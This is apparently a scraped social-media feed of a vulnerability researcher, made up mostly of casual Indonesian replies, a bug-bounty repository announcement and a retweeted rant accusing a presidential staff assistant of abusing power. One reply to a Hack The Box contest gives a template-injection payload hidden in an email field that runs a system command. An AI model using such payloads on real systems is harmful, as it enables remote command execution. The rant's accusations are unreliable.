Muhammad Daffa

My opinions are my own | Vulnerability Researcher @ spiderSilk | CTF Player @ HCS and L3ak

[Muhammad Daffa @daffainfo]

AllAboutBugBounty updated!!

Do you know about a vulnerability called CSRF right? But do you know of another vulnerability similar to CSRF, called On-Site Request Forgery (OSRF)?

Repository link:
https://t.co/7wSyRM4YzV

#bugbountytips #bugbounty #infosec

[Muhammad Daffa @daffainfo]

@GoogleVRP How about reports that have been triaged or fixed (but not rewarded)? Does that mean our older low / med severity report wont receive any bounty?

[Muhammad Daffa @daffainfo]

@tip_sen @paundrapujo @mnabilafrizal_r Tinggal dikit itu 🥀

[Muhammad Daffa @daffainfo]

@paundrapujo @mnabilafrizal_r Coba kerjain bareng ama dia @tip_sen

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r ga

[Muhammad Daffa @daffainfo]

@paundrapujo @mnabilafrizal_r mana wu jo

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r sabar

[Muhammad Daffa @daffainfo]

@hackthebox_eu /send_me_invoice?email="{{lipsum.__globals__.os.popen('whoami').read()}}"@daffainfo.com

Since we're using parseaddr(), we need to use double quotes, as they allow characters that are not normally permitted in the local part of an email address (RFC2822, part 3.2.5)

[Hack The Box @hackthebox_eu]

Think you can spot the hidden flaw? Remember, sometimes the most subtle inputs can lead to significant discoveries. One of the correct submissions will win a monthly VIP subscription!

To enter:
1️⃣Follow @hackthebox_eu
2️⃣ Like & RT this post
3️⃣ Submit your payload in the thread 👇

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r safe flight yh

[Muhammad Daffa @daffainfo]

@__cawk pasti susah banget ya kak

[Muhammad Daffa @daffainfo]

@__cawk sabar

[Muhammad Daffa @daffainfo]

@__cawk when yh

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r ak mw boot2root :((((((

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r trust me bro

[Muhammad Daffa @daffainfo]

@__cawk janlup ujian

[DJ SNAKE @djsnake]

What is it, if not genocide?

[Muhammad Daffa @daffainfo]

@mnabilafrizal_r Banting setir jadi pemain foren nggeh

[Pakar INTELek @PakarINTELek]

Si paling hebat, si paling segala-galanya, si paling hebat bisa menjarakan orang dengan Operasi Khusus, Asisten Staf Khusus Presiden @jokowi , Yasmin Nur.

Infonya Asisten Stafsus Presiden ini bisa memiliki 2 anak buah setara eselon 3 dan memiliki gaji yang sangat fantastis gaes.

Timbul bikin heboh X dengan gaya songongnya lalu pergi meninggalkan X begitu saja, namun netizen X ga sebodoh platform lain, semua tanpa ada yang perintah langsung gercep menyimpan hal-hal yang dianggap penting. Dan bener ternyata anda blunder ibu Asisten Stafsus yang terhormat 🙏

Tak tinggal diam netizen mengulik YN di platform lain yang ternyata tertangkap oleh Netizen di IGS beliau pernah memenjarakan orang dengan menggunakan Operasi Khusus. Lalu siapakah bekingnya YN ini sehingga dia bisa se"belagu" itu membuat laporan dan pasti ditangkap yang dilaporkan ?

Tenyata info yang beredar ibunya YN ini adalah Penasehat Ahli Kepolisian Republik Indonesia. Dan setelah saya mengetahui bahwa ibunya penasehat ahli yang diduga bisa jadi power yang abuse, saya stop sampai disini aja.

Selamat pagi, semoga kita tidak sombong dan songong dengan jabatan khusus apalagi sebagai Asisten Staf Khusus Presiden @jokowi , jabatan khusus hanya sementara 🙏

[Muhammad Daffa @daffainfo]

@__cawk saatnya kembali ke kenyataan kak